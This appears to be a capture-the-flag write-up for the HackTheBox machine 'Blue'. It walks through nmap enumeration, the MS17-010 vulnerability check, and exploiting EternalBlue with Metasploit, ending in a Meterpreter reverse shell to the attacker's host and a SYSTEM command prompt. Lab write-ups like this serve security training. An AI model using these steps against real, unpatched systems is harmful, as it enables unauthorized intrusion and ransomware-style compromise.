

Hello! Today, we will be examining the HackTheBox machine titled Blue. It is rated as an easy machine, which is understandable as the difficulty to complete this machine requires 0 privilege escalation or exploit chaining. This machine does, however, cover a very important and well-known exploit known as EternalBlue, so let's get into it.

Starting with enumeration, I ran a simple nmap scan that looked like:

```
(kali㉿kali)-[~]  
$ sudo nmap -sC -sV -O -T4 -vv 10.10.10.40
```

This scan reveals a couple of interesting things.

PORT	STATE	SERVICE	REASON	VERSION
135/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 127	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	syn-ack ttl 127	Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49153/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49154/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49155/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49156/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49157/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC

First, we know we are working with SMB due to the port of interest being 445. We also know we are dealing with an older machine, as it is running Windows 7. Now, it is a good rule of thumb to quickly run a scan for EternalBlue when dealing with SMB, as it is an incredibly popular vulnerability, and it only takes a few seconds to check. Lucky for us, nmap comes with a script for testing this vulnerability.

```
(kali㉿kali)-[~]  
$ sudo nmap -p445 --script smb-vuln-ms17-010 10.10.10.40
```

When we run this command, we get a positive hit!

```
Host script results:  
smb-vuln-ms17-010:  
VULNERABLE:  
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)  
State: VULNERABLE  
IDs: CVE:CVE-2017-0143  
Risk factor: HIGH  
A critical remote code execution vulnerability exists in Microsoft SMBv1  
servers (ms17-010).  
  
Disclosure date: 2017-03-14  
References:  
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/  
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

From here on out, exploitation is very trivial. You can do it straight from Metasploit (there is a manual way to exploit it as well, but Metasploit saves you the headache. You can read more about this vulnerability online). In Metasploit, you can simply search for EternalBlue and select the appropriate exploit.

```

msf6 > search EternalBlue

Matching Modules
-----
#  Name                                     Port  Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue 445   2017-03-14       average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel P
ool Corruption
1  exploit/windows/smb/ms17_010_psexec      445   2017-03-14       normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalCh
ampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     445   2017-03-14       normal No     MS17-010 EternalRomance/EternalSynergy/EternalCh
ampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010      445   2017-03-14       normal No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 445   2017-04-14       great  Yes    SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

From there, simply fill out the RHOSTS and LHOST and then exploit. It should mention some things about a buffer and exploit packet. Don't worry if it fails one or two times, this is a complex attack.

```

[*] 10.10.10.40:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[*] 10.10.10.40:445 - Sending SMBv2 buffers
[*] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[*] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.2:4444 → 10.10.10.40:49160) at 2021-12-10 01:16:01 -0500
[*] 10.10.10.40:445 - =====
[*] 10.10.10.40:445 - -----WIN-----
[*] 10.10.10.40:445 - =====

meterpreter > shell
Process 2612 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

```

Lucky for us, EternalBlue provides system access. From here on out, you just have to find the flags.

IMPORTANT NOTES:

EternalBlue is an exploit that takes advantage of out-of-date Windows machines.

This exploit is utilized by ransomware such as WannaCry

Its CVE is CVE-2017-0144